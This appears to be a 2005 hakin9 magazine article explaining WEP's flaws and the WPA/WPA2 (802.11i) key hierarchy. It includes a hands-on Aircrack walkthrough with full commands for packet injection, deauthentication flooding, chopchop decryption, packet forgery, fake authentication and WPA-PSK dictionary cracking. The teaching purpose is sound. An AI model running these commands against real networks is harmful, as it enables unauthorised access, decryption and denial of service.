www.hakin9.orghakin9 6/20052
Whaťs hot
E
ven when security measures are enabled
in Wi-Fi devices, a weak encryption
protocol such as WEP is usually
used. In this article, we will examine the weaknesses
of WEP and see how easy it is to crack
the protocol. The lamentable inadequacy of
WEP highlights the need for a new security
architecture in the form of the 802.11i standard,
so we will also take a look at the new standarďs
WPA and WPA2 implementations along with
their first minor vulnerabilities and their integration
into operating systems.
R.I.P. WEP
WEP (Wired Equivalent Privacy) was the default
encryption protocol introduced in the first
IEEE 802.11 standard back in 1999. It is based
on the RC4 encryption algorithm, with a secret
key of 40 bits or 104 bits being combined with
a 24-bit Initialisation Vector (IV) to encrypt the
plaintext message M and its checksum ­ the
ICV (Integrity Check Value). The encrypted
message C was therefore determined using the
following formula:
C = [ M || ICV(M) ] + [ RC4(K || IV) ]
where || is a concatenation operator and + is a
XOR operator. Clearly, the initialisation vector
is the key to WEP security, so to maintain a decent
level of security and minimise disclosure
the IV should be incremented for each packet
so that subsequent packets are encrypted with
different keys. Unfortunately for WEP security,
the IV is transmitted in plain text and the 802.11
standard does not mandate IV incrementation,
leaving this security measure at the option of
Wi-Fi security ­ WEP, WPA
and WPA2
Guillaume Lehembre
Difficulty
Wi-Fi (Wireless Fidelity) is one of today's leading wireless
technologies, with Wi-Fi support being integrated into more
and more devices: laptops, PDAs, mobile phones. However, one
configuration aspect all too often goes unnoticed: security. Leťs
have a closer look at the level of security of encryption methods
used in modern Wi-Fi implementations.
What you will learn...
* the weaknesses of WEP encryption,
* a global overview of the 802.11i standard and
its commercial implementations: WPA and
WPA2,
* the basics of 802.1x,
* the potential weaknesses of WPA and WPA2.
What you should know...
* the basics of the TCP/IP and Wi-Fi protocols,
* you should have a basic knowledge of cryptog-
raphy.
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 3
particular wireless terminal (access
point or wireless card) implementa-
tions.
A brief history of WEP
The WEP protocol was not created
by experts in security or cryptography,
so it quickly proved vulnerable
to RC4 issues described by David
Wagner four years earlier. In 2001,
Scott Fluhrer, Itsik Mantin and Adi
Shamir (FMS for short) published
their famous paper on WEP, showing
two vulnerabilities in the RC4
encryption algorithm: invariance
weaknesses and known IV attacks.
Both attacks rely on the fact that
for certain key values it is possible
for bits in the initial bytes of the
keystream to depend on just a few
bits of the encryption key (though
normally each keystream has a 50%
chance of being different from the
previous one). Since the encryption
key is composed by concatenating
the secret key with the IV, certain IV
values yield weak keys.
The vulnerabilities were exploited
by such security tools as AirSnort,
allowing WEP keys to be recovered
by analysing a sufficient amount
of traffic. While this type of attack
could be conducted successfully on
a busy network within a reasonable
timeframe, the time required for data
processing was fairly long. David
Hulton (h1kari) devised an optimised
version of the attack, taking into
consideration not just the first byte of
Rc4 output (as in the FMS method),
but also subsequent ones. This
resulted in a slight reduction of the
amount of data required for analysis.
The integrity check stage also
suffers from a serious weakness due
to the CRC32 algorithm used for this
task. CRC32 is commonly used for
error detection, but was never considered
cryptographically secure due
to its linearity, as Nikita Borisov, Ian
Goldberg and David Wagner stated
back in 2001.
Since then it had been accepted
that WEP provides an acceptable
level of security only for home users
and non-critical applications. However,
even that careful reservation
was blown to the wind with the appearance
of KoreK attacks in 2004
(generalised FMS attacks, including
optimisations by h1kari), and the
inverted Arbaugh inductive attack
allowing arbitrary packets to be
decrypted without knowledge of the
key using packets injection. Cracking
tools like Aircrack by Christophe
Devine or WepLab by José Ignacio
Sánchez implement these attacks
and can recover a 128-bit WEP key
in less than 10 minutes (or slightly
longer, depending on the specific access
point and wireless card).
Adding packet injection greatly
improved WEP cracking times,
requiring not millions, but only thouFigure
1. WEP encryption protocol
Table 1. Timeline of WEP death
Date Description
September
1995
Potential RC4 vulnerability (Wagner)
October 2000 First publication on WEP weaknesses: Unsafe at any key
size; An analysis of the WEP encapsulation (Walker)
May 2001 An inductive chosen plaintext attack against WEP/WEP2
(Arbaugh)
July 2001 CRC bit flipping attack ­ Intercepting Mobile Communications:
The Insecurity of 802.11 (Borisov, Goldberg,
Wagner)
August 2001 FMS attacks ­ Weaknesses in the Key Scheduling Algorithm
of RC4 (Fluhrer, Mantin, Shamir)
August 2001 Release of AirSnort
February
2002
Optimized FMS attacks by h1kari
August 2004 KoreK attacks (unique IVs) ­ release of chopchop and
chopper
July/August
2004
Release of Aircrack (Devine) and WepLab (Sanchez )
implementing KoreK attacks
hakin9 6/2005 www.hakin9.org
Whaťs hot
4
sands of packets with enough unique
IVs ­ about 150,000 for a 64-bit
WEP key and 500,000 for a 128-bit
key. With packet injection, gathering
the necessary data took was a
matter of minutes. At present, WEP
is quite definitely dead (see Table 1)
and should not be used, not even
with key rotation.
WEP security flaws could be
summarised as follows:
* RC4 algorithm weaknesses
within the WEP protocol due to
key construction,
* IVs are too short (24 bits ­ less
than 5000 packets required for a
50% chance of collision) and IV
reuse is allowed (no protection
against message replay),
* no proper integrity check (CRC32
is used for error detection and
isn't cryptographically secure
due to its linearity),
* no built-in method of updating
keys.
WEP key cracking using
Aircrack
Practical WEP cracking can easily
be demonstrated using tools such as
Aircrack (created by French security
researcher Christophe Devine). Aircrack
contains three main utilities,
used in the three attack phases required
to recover the key:
* airodump: wireless sniffing tool
used to discover WEP-enabled
networks,
* aireplay: injection tool to increase
traffic,
* aircrack: WEP key cracker making
use of collected unique IVs.
Currently aireplay only supports injection
on specific wireless chipsets,
and support for injection in monitor
mode requires the latest patched
drivers. Monitor mode is the equivalent
of promiscuous mode in wired
networks, preventing the rejection of
packets not intended for the monitoring
host (which is usually done in the
physical layer of the OSI stack) and
thus allowing all packets to be captured.
With patched drivers, only one
wireless card is required to capture
and inject traffic simultaneously.
The main goal of the attack is
to generate traffic in order to capture
unique IVs used between a
legitimate client and an access point.
Some encrypted data is easily recognizable
because it has a fixed length,
fixed destination address etc. This is
the case with ARP request packets
(see Inset ARP request), which are
sent to the broadcast address (FF:
FF:FF:FF:FF:FF) and have a fixed
length of 68 octets. ARP requests
can be replayed to generate new
ARP responses from a legitimate
host, resulting in the same wireless
messages being encrypted with new
IVs.
ARP request
The Address Resolution Protocol
(ARP ­ RFC826) is used to translate a
32-bit IP address into a 48-bit Ethernet
address (Wi-Fi networks also use the
Ethernet protocol). To illustrate, when
host A (192.168.1.1) wants to communicate
with host B (192.168.1.2),
a known IP address must be translated
to a MAC address using the
ARP protocol. To do this, host A
sends a broadcast message containing
the IP address of host B (Who
has 192.168.1.2? Tell 192.168.1.1).
The target host, recognizing that the
IP address in the packet matches its
own, returns an answer (192.168.1.2 is
at 01:23:45:67:89:0A). The response
is typically cached.
Listing 1. Activating monitor mode
# airmon.sh start ath0
Interface Chipset Driver
ath0 Atheros madwifi (monitor mode enabled)
Listing 2. Discovering nearby networks and their clients
# airodump ath0 wep-crk 0
BSSID PWR Beacons # Data CH MB ENC ESSID
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo
BSSID STATION PWR Packets ESSID
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo
Figure 2. Aicrack results after a few minutes
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 5
In the following examples, 00:13:
10:1F:9A:72 is the MAC address of
the access point (BSSID) on channel
1 with the SSID hakin9demo
and 00:09:5B:EB:C5:2B is the
MAC address of a wireless client
(using WEP or WPA-PSK, depending
on the case). Executing the
sniffing commands requires root
privileges.
The first step is to activate monitor
mode on our wireless card (here
an Atheros-based model), so we can
capture all traffic (see Listing 1). The
next step is to discover nearby networks
and their clients by scanning
all 14 channels that Wi-Fi networks
can use (see Listing 2).
The result in Listing 2 is interpreted
as follows: an access point
with BSSID 00:13:10:1F:9A:72 is
using WEP encryption on channel
1 with the SSID hakin9demo and
one client identified by MAC 00:0C:
F1:19:77:5C are associated with
this wireless network and authen-
ticated.
Once the target network has
been located, capture should be
started on the correct channel to
avoid missing packets while scanning
other channels. The following
produces the same output as the
previous command:
# airodump ath0 wep-crk 1
Next, we can use previously gathered
information to inject traffic using
aireplay. Injection will begin when a
captured ARP request associated
with the targeted BSSID appears on
the wireless network:
# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 ath0
(...)
Read 980 packets
(got 16 ARP requests),
sent 570 packets...
Finally, aircrack is used to recover
the WEP key. Using the pcap file
makes it possible to launch this
final step while airodump is still
capturing data (see Figure 2 for
results):
# aircrack -x -0 wep-crk.cap
Other types of Aircrack
attacks
Aircrack also makes it possible to
conduct other interesting attacks
types. Leťs have a look at some of
them.
Attack 2: Deauthentication
This attack can be used to recover
a hidden SSID (i.e. one that isn't
broadcast), capture a WPA 4-way
handshake or force a Denial of
Service (more on that later, in the
section on 802.11i). The aim of the
attack is to force the client to reauthenticate,
which coupled with the
lack of authentication for control
frames (used for authentication,
association etc.) makes it possible
for the attacker to spoof MAC ad-
dresses.
A wireless client can be deauthenticated
using the following
command, causing deauthentication
packets to be sent from the BSSID
to the client MAC by spoofing the
BSSID:
# aireplay -0 5
-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
ath0
Mass deauthentication is also possible
(though not always reliable),
involving the attacker continuously
spoofing the BSSID and resending
the deauthentication packet to the
broadcast address:
# aireplay -0 0
-a 00:13:10:1F:9A:72
ath0
Listing 3. Decrypting WEP packets without knowing the key
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets...
Size: 124, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@.......,
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...
0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q`
Use this packet ? y
Saving chosen packet in replay_src-0916-113713.cap
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
(...)
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms
Saving plaintext in replay_dec-0916-114019.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)
Listing 4. Reading a pcap file from the attack
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c DA:00:13:10:1f:
9a:70
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64
hakin9 6/2005 www.hakin9.org
Whaťs hot
6
Attack 3: Decrypting arbitrary
WEP data packets without
knowing the key
This attack is based on the KoreK
proof-of-concept tool called chopchop
which can decrypt WEP-encrypted
packets without knowledge
of the key. The integrity check
implemented in the WEP protocol
allows an attacker to modify both
an encrypted packet and its corresponding
CRC. Moreover, the use
of the XOR operator in the WEP
protocol means that a selected byte
in the encrypted message always
depends on the same byte of the
plaintext message. Chopping off
the last byte of the encrypted message
corrupts it, but also makes it
possible to guess at the value of
the corresponding plaintext byte
and correct the encrypted message
accordingly.
If the corrected packet is then
reinjected into the network, it will be
dropped by the access point if the
guess was incorrect (in which case
a new guess has to be made), but
for a correct guess it will be relayed
as usual. Repeating the attack for all
message bytes makes it possible to
decrypt a WEP packet and recover
the keystream. Remember that IV
incrementation is not mandatory
in WEP protocol, so it is possible
to reuse this keystream to spoof
subsequent packets (reusing the
same IV).
The wireless card must be
switched to monitor mode on the
right channel (see previous example
for a description of how to do it). The
attack must be launched against a
legitimate client (still 00:0C:F1:19:
77:5C in our case) and aireplay will
prompt the attacker to accept each
encrypted packet (see Listing 3).
Two pcap files are created: one for
the unencrypted packet and another
for its related keystream. The resulting
file can be made human-readListing
5. Replaying a forged packet
# aireplay -2 -r forge-arp.cap ath0
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ...............,
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF....
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q.
0x0040: 49b7 52da I.R.
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...
Listing 6. Fake authentication
aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0
18:30:00 Sending Authentication Request
18:30:00 Authentication successful
18:30:00 Sending Association Request
18:30:00 Association successful
IEEE 802.1X and EAP
The IEEE 802.1X authentication protocol (also known as PortBased
Network Access Control) is a framework originally developed
for wired networks, providing authentication, authorisation
and key distribution mechanisms, and implementing access control
for users joining the network. The IEEE 802.1X architecture
is made up of three functional entities:
* the supplicant joining the network,
* the authenticator providing access control,
* the authentication server making authorisation decisions.
In wireless networks, the access point serves as the authenticator.
Each physical port (virtual port in wireless networks) is divided into
two logical ports making up the PAE (Port Access Entity). The authentication
PAE is always open and allows authentication frames
through, while the service PAE is only opened upon successful
authentication (i.e. in an authorised state) for a limited time (3600
seconds by default). The decision to allow access is usually made
by the third entity, namely the authentication server (which can
either be a dedicated Radius server or ­ for example in home networks
­ a simple process running on the access point). Figure 3
illustrates how these entities communicate.
The 802.11i standard makes small modifications to IEEE
802.1X for wireless networks to account for the possibility of
identity stealing. Message authentication has been incorporated
to ensure sure that both the supplicant and the authenticator calculate
their secret keys and enable encryption before accessing
the network.
The supplicant and the authenticator communicate using an
EAP-based protocol. Note that the role of the authenticator is
essentially passive ­ it may simply forward all messages to the
authentication server. EAP is a framework for the transport of
various authentication methods, allowing only a limited number
of messages (Request, Response, Success, Failure), while other
intermediate messages are dependent on the selected authentication
method: EAP-TLS, EAP-TTLS, PEAP, Kerberos V5,
EAP-SIM etc. When the whole process is complete (due to the
multitude of possible methods we will go into detail here), both
entities (i.e. the supplicant and the authentication server) have
a secret master key. Communication between the authenticator
and the authentication server proceeds using the EAPOL (EAP
Over LAN) protocol, used in wireless networks to transport EAP
data using higher-layer protocols such as Radius.
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 7
able using a suitable reader (we will
use tcpdump) ­ see Listing 4 for a
sample ping exchanged between
hosts.
Once the keystream has been
captured, it is possible to fake any
packets. Here's a spoofed ARP request
sent by 192.168.2.123 (00:0C:
F1:19:77:5C) to 192.168.2.103:
# arpforge \
replay_dec-0916-114019.xor \
1 \
00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \
forge-arp.cap
Finally, aireplay is used to replay this
packet (see Listing 5).
This method is less automated
than Aircrack's own ARP request
spoofing (the -1 option), but iťs more
scalable ­ the attacker can use the
discovered keystream to forge any
packet that is no longer than the keystream
(otherwise the keystream has
to be expanded).
Attack 4: Fake authentication
The WEP key cracking method
described earlier (Attacks 1 and 3)
requires a legitimate client (real or
virtual, though real is better) associated
with the access point to ensure
the access point does not discard
packets due to a non-associated
destination address.
If open authentication is used,
any client can be authenticated
and associated with the access
point, but the access point will drop
any packets not encrypted with the
correct WEP key. In the example in
Listing 6, Aireplay is used to fake
an authentication and association
request for the SSID hakin9demo
(BSSID: 00:13:10:1F:9A:72) with
the spoofed MAC address 0:1:2:
3:4:5.
Some access points require
clients to reassociate every 30
seconds. This behaviour can be
mimicked in aireplay by replacing the
second option (0) with 30.
802.11i
In January 2001, the i task group was
created in the IEEE to improve 802.11
data authentication and encryption
security. In April 2003, the Wi-Fi Alliance
(an association for promoting
and certifying Wi-Fi) released a recommendation
in response to corporate
concerns on wireless security.
However, they were also aware that
customers wouldn't be willing to replace
their existing equipment.
Figure 3. IEEE 802.1X model from the IEEE 802.1X specification
Figure 4. 802.11i operational phases
Figure 5. Phase 1: Agreeing on the security policy
hakin9 6/2005 www.hakin9.org
Whaťs hot
8
In June 2004, the final release
of the 802.11i standard was adopted
and received the commercial name
WPA2 from the Wi-Fi Alliance.
The IEEE 802.11i standard introduced
such fundamental changes
as separating user authentication
from enforcing message integrity
and privacy, thus providing a robust
and scalable security architecture
equally suitable for home networks
and large corporate systems. The
new architecture for wireless networks
is called the Robust Security
Network (RSN) and uses 802.1X
authentication, robust key distribution
and new integrity and privacy
mechanisms.
While the RSN architecture is
more complex, it provides secure
and scalable solutions for wireless
communications. An RSN will
typically only accept RSN-capable
devices, but IEEE 802.11i also defines
a Transitional Security Network
(TSN) architecture in which both
RSN and WEP systems can participate,
allowing users to upgrade their
equipment in time. If the authentication
or association procedure used
between stations uses the 4-way
handshake, the association is called
the RSNA (Robust Security Network
Association).
Establishing a secure communication
context consists of four
phases (see Figure 4):
* agreeing on the security policy,
* 802.1X authentication,
* key derivation and distribution,
* RSNA data confidentiality and
integrity.
Phase 1: Agreeing on the
security policy
The first phase requires the communicating
parties to agree on the
security policy to use. Security policies
supported by the access point
are advertised on Beacon or in a
Probe Respond message (following
a Probe Request from the client). A
standard open authentication follows
(just like in TSN networks, where
authentication is always successful).
The client response is included
in the Association Request message
validated by an Association
Response from the access point.
Security policy information is sent
in the RSN IE (Information Element)
field, detailing:
Figure 6. Phase 2: 802.1X authentication
Figure 7. Phase 3: Key derivation and distribution
Figure 8. Phase 3: Pairwise Key Hierarchy
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 9
* supported authentication methods
(802.1X, Pre-Shared Key
(PSK)),
* security protocols for unicast
traffic (CCMP, TKIP etc.) ­ the
pairwise cipher suite,
* security protocols for multicast
traffic (CCMP, TKIP etc.) ­ the
group cipher suite,
* support for pre-authentication, allowing
users to pre-authenticate
before switching to a new access
point of the same network for a
seamless handover.
Figure 5 illustrates this first phase.
Phase 2: 802.1X authentication
The second phase is 802.1X authentication
based on EAP and
the specific authentication method
agreed earlier: EAP/TLS with client
and server certificates (requiring
a public key infrastructure),
EAP/TTLS or PEAP for hybrid authentication
(with certificates only
required for servers) etc. 802.1X
authentication is initiated when the
access point requests client identity
data, with the clienťs response
containing the preferred authentication
method. Suitable messages
are then exchanged between the
client and the authentication server
to generate a common master key
(MK). At the end of the procedure,
a Radius Accept message is send
from the authentication server to
the access point, containing the MK
and a final EAP Success message
for the client. Figure 6 illustrates
this second phase.
Phase 3: Key hierarchy and
distribution
Connection security relies heavily on
secret keys. In RSN, each key has a
limited lifetime and overall security
is ensured using a collection of various
keys, organised into a hierarchy.
When a security context is established
after successful authentication,
temporary (session) keys are
created and regularly updated until
the security context is closed. Key
generation and exchange is the goal
of the third phase. Two handshakes
occur during key derivation (see
Figure 7):
* 4-Way Handshake for PTK (Pairwise
Transient Key) and GTK
(Group Transient Key) der iva-
tion,
* Group Key Handshake for GTK
renewal.
The PMK (Pairwise Master Key)
derivation depends on the authentication
method used:
* if a PSK (Pre-Shared Key) is
used, PMK = PSK. The PSK is
generated from a passphrase
(from 8 to 63 characters) or a
256-bit string and provides a
solution for home networks and
small enterprises that have no
authentication server,
Figure 9. Phase 3: 4-Way Handshake
Figure 10. Phase 3: Group Key Hierarchy
hakin9 6/2005 www.hakin9.org
Whaťs hot
10
* if an authentication server is
used, the PMK is derived from
the 802.1X authentication MK.
The PMK itself is never be used for
encryption or integrity checking.
Instead, it is used to generate a temporary
encryption key ­ for unicast
traffic this is the PTK (Pairwise Transient
Key). The length of the PTK
depends on encryption protocol: 512
bits for TKIP and 384 bits for CCMP.
The PTK consists of a several dedicated
temporary keys:
* KCK (Key Confirmation Key
­ 128 bits): Key for authenticating
messages (MIC) during the 4Way
Handshake and Group Key
Handshake,
* KEK (Key Encryption Key ­ 128
bits): Key for ensuring data confidentiality
during the 4-Way
Handshake and Group Key
Handshake,
* TK (Temporary Key ­ 128 bits):
Key for data encryption (used by
TKIP or CMMP),
* TMK (Temporary MIC Key ­ 2x64
bits): Key for data authentication
(used only by Michael w i t h
TKIP). A dedicated key is used
for each side of the communica-
tion.
This hierarchy is summarised in
Figure 8.
The 4-Way Handshake, initiated
by the access point, makes it possible
to:
* confirm the clienťs knowledge of
the PMK,
* derive a fresh PTK,
* install encryption and integrity
keys,
* encrypt transport of the GTK,
* confirm cipher suite selection.
Four EAPOL-Key messages are exchanged
between the client and the
access point during the 4-Way Handshake.
This process is illustrated in
Figure 9.
The PTK is derived from the
PMK, a fixed string, the MAC address
of the access point, the
MAC address of the client and two
random numbers (ANonce and
SNonce, generated by the authenticator
and supplicant respectively).
The access point initiates the first
message by selecting the random
number ANonce and sending it to
the supplicant, without encrypting
the message or otherwise protecting
it against tampering. The supplicant
generates its own random
number SNonce and can now
calculate the PTK and derived temporary
keys, so it sends SNonce
and the MIC key calculated from
the second message using the
KCK key. When the authenticator
receives the second message, it
can extract SNonce (because the
message is not encrypted) and
Figure 12. TKIP Key-Mixing Scheme and encryption
Figure 13. MIC computation using the Michael algorithm
Figure 11. Phase 3: Group Key Handshake
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 11
calculate the PTK and derived
temporary keys. Now it can verify
the value of the MIC in the second
message and thus be sure that the
supplicant knows the PMK and has
correctly calculated the PTK and
derived temporary keys.
The third message sent by the
authenticator to the supplicant contains
the GTK (encrypted with the
KEK key), derived from a random
GMK and GNonce (see Figure 10
for details), along with an MIC
calculated from the third message
using the KCK key. When the supplicant
receives this message, the
MIC is checked to ensure that the
authenticator knows the PMK and
has correctly calculated the PTK and
derived temporary keys.
The last message acknowledges
completion of the whole
handshake and indicates that the
supplicant will now install the key
and start encryption. Upon receipt,
the authenticator installs its keys
after verifying the MIC value. Thus,
the mobile device and the access
point have obtained, computed and
installed encryption keys and are
now able to communicate over a
secure channel for unicast and
multicast traffic.
Multicast traffic is protected with
another key, the GTK (Group Transient
Key), generated from a master
key called GMK (Group Master Key),
a fixed string, the MAC address
of the access point and a random
number GNonce. The length of the
GTK depends on encryption protocol
­ 256 bits for TKIP and 128 bits for
CCMP. GTK is divided into dedicated
temporary keys:
* GEK (Group Encryption Key):
Key for data encryption (used
by CCMP for authentication and
encryption and by TKIP),
* GIK (Group Integrity Key): Key
for data authentication (used only
by Michael with TKIP).
This hierarchy is summarized in
Figure 10.
Two EAPOL-Key messages are
exchanged between the client and
Listing 7. Discovering nearby networks
# airodump ath0 wpa-crk 0
BSSID PWR Beacons # Data CH MB ENC ESSID
00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo
BSSID STATION PWR Packets ESSID
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo
Listing 8. Launching a dictionary attack
$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
Read 541 packets.
BSSID ESSID Encryption
00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
Figure 15. Weak WPA PSK found with Aircrack
Figure 14. CCMP encryption
hakin9 6/2005 www.hakin9.org
Whaťs hot
12
the access point during the Group
Key Handshake. This handshake
makes use of temporary keys generated
during the 4-Way Handshake
(KCK and KEK). This process is illustrated
in Figure 11.
The Group Key Handshake is
only needed to disassociate a host
and to renew the GTK at a clienťs
request. The authenticator initiates
the first message by choosing the
random number GNonce and calculating
a new GTK. It sends the
encrypted GTK (using KEK), the
GTK sequence number and the MIC
calculated from this message using
KCK to the supplicant. When the
message is received by the supplicant,
the MIC is verified and the GTK
can be decrypted.
The second message acknowledges
the completion of the Group
Key Handshake by sending the
GTK sequence number and the MIC
calculated on this second message.
Upon receipt, the authenticator installs
the new GTK (after verifying
the MIC value).
An STAkey Handshake also exists,
but will not be discussed here.
It supports the generation of a secret
transient key called STAkey by the
access point for ad-hoc connec-
tions.
Phase 4: RSNA data
confidentiality and integrity
All the keys generated previously are
used in protocols supporting RSNA
data confidentiality and integrity:
* TKIP (Temporal Key Hash),
* CCMP (Counter-Mode / Cipher
Block Chaining Message Authentication
Code Protocol),
* WRAP (Wireless Robust Authenticated
Protocol).
An important concept must be
understood before detailing these
protocols: the difference between an
MSDU (MAC Service Data Unit) and
an MPDU (MAC Protocol Data Unit).
Both refer to a single packet of data,
but MSDU represents data before
fragmentation, while MPDUs are the
multiple data units after fragmentation.
The difference is important in
TKIP and CCMP encryption, since
in TKIP the MIC is calculated from
the MSDU, while in CCMP it is calculated
from the MPDU.
Just like WEP, TKIP is based on
RC4 encryption algorithm, but it exists
for just one reason: to allow WEP
systems to be upgraded in order to
implement a more secure protocol.
TKIP is required for WPA certification
and is also included as part of
the RSN 802.11i as an option. TKIP
adds corrective measures for each
of the WEP vulnerabilities described
earlier:
* message integrity: a new MIC
(Message Integrity Protocol)
called Michael that can be implemented
in software running on
slow microprocessors,
* IV: new selection rules for IV
values, reusing the IV as a replay
counter (TSC, or TKIP Sequence
Counter) and increasing the size
of the IV to avoid reuse,
* Per Packet Key Mixing: to yield
apparently unrelated encryption
keys,
* key management: new mechanism
for key distribution and
change.
The TKIP Key-Mixing Scheme is
divided into two phases. Phase 1
involves static data ­ the secret
session key TEK, the transmitter
MAC address TA (included to prevent
IV collisions) and the higher 32
bits of the IV. Phase 2 includes the
output of Phase 1 and the lower 16
bits of the IV, changing all the bits
of the Per Packet Key field for each
new IV. The IV value always starts
with 0 and is incremented by 1 for
each packet sent, with any messages
whose TSC is not greater than
the last message being discarded.
The output of Phase 2 and part of
the extended IV (plus a dummy
byte) are the input for RC4, generating
a keystream that is XOR-ed
with the plaintext MPDU, the MIC
calculated from the MPDU and the
old ICV from WEP (see Figure 12).
MIC computation uses the
Michael algorithm by Niels Ferguson.
It was created for TKIP and
has a target security level of 20 bits
(the algorithm doesn't use multiplication
for performance reasons, as
it must be supported on old wireless
hardware later to be upgraded
to WPA). Due to this limitation,
countermeasures are needed to
avoid MIC forgery. MIC failures
must be kept below two per minute,
otherwise a 60 second blackout
is enforced and new keys (GTK
and PTK) must be established
afterwards. Michael computes an
8-octet check value called the MIC
Figure 16. WPA2 support on
Windows XP SP2
Listing 9. wpa_supplicant sample configuration file for WPA2
ap_scan=1 # Scan radio frequency and select appropriate access
point
network={ # First wireless network
ssid="some_ssid" # SSID of the network
scan_ssid=1 # Send Probe Request to find hidden SSID
proto=RSN # RSN for WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Pre-Shared Key authentication
pairwise=CCMP # CCMP protocol (AES encryption)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}
WEP, WPA and WPA2 security
hakin9 6/2005www.hakin9.org 13
and appends it to the MSDU prior
to transmission. The MIC is calculated
from the source address (SA),
destination address (DA), plaintext
MSDU and the appropriate TMK
(depending on the communication
side, a different key is used for
transmission and reception).
CCMP is based on the AES
(Advanced Encryption Standard)
block cipher suite in its CCM mode
of operation, with the key and
blocks being 128 bits long. AES is
to CCMP what RC4 is to TKIP, but
unlike TKIP, which was intended to
accommodate existing WEP hardware,
CCMP isn't a compromise,
but a new protocol design. CCMP
uses counter mode in conjunction
with a message authentication
method called Cipher Block
Chaining (CBC-MAC) to produce
an MIC.
Some interesting features
were also added, such as the
use of a single key for encryption
and authentication (with different
initialisation vectors) or covering
non-encrypted data by the authentication.
The CCMP protocol adds
16 bytes to the MPDU: 8 bytes
for the CCMP header and 8 bytes
for the MIC. The CCMP header
is an unencrypted field included
between the MAC header and encrypted
data, including the 48-bit
PN (Packet Number = Extended
IV) and Group Key KeyID. The PN
is incremented by one for each subsequent
MPDU.
MIC computation uses the
CBC-MAC algorithm that encrypts
a starting nonce block (computed
from the Priority fields, MPDU
source address and incremented
PN) and XORs subsequent blocks
to obtain a final MIC of 64 bits (the
final MIC is a 128-bit block, since
the lower 64 bits are discarded).
The MIC is then appended to the
plaintext data for AES encryption
in counter mode. The counter is
constructed from a nonce similar
to the MIC one, but with an extra
counter field initialised to 1 and incremented
for each block.
The last protocol is WRAP,
also based on AES, but using the
OCB (Offset Codebook Mode)
authenticated encryption scheme
(encryption and authentication in a
single computation). OCB was the
first mode selected by the IEEE
802.11i working group, but was eventually
abandoned due to intellectual
property issues and possible licensing
fees. CCMP was then adopted as
mandatory.
WPA/WPA2
weaknesses
While a number of minor weaknesses
have been discovered in WPA/
WPA2 since their release, none of
them are too dangerous provided
simple security recommendations
are followed.
The most practical vulnerability
is the attack against WPA/WPA2's
PSK key. As already mentioned,
the PSK provides an alternative to
802.1x PMK generation using an
authentication server. It is a string of
256 bits or a passphrase of 8 to 63
characters used to generate such a
string using a known algorithm: PSK
= PMK = PBKDF2(password, SSID,
SSID length, 4096, 256), where PBKDF2
is a method used in PKCS#5,
4096 is the number of hashes and
256 is the length of the output. The
PTK is derived from the PMK using
the 4-Way Handshake and all information
used to calculate its value is
transmitted in plain text.
On the Net
* http://standards.ieee.org/getieee802/download/802.11i-2004.pdf ­ IEEE 802.11i
standard,
* http://www.awprofessional.com/title/0321136209 ­ Real 802.11 Security Wi-Fi
Protected Access and 802.11i (John Edney, William A. Arbaugh) ­ Addison Wesley
­ ISBN: 0-321-13620-9,
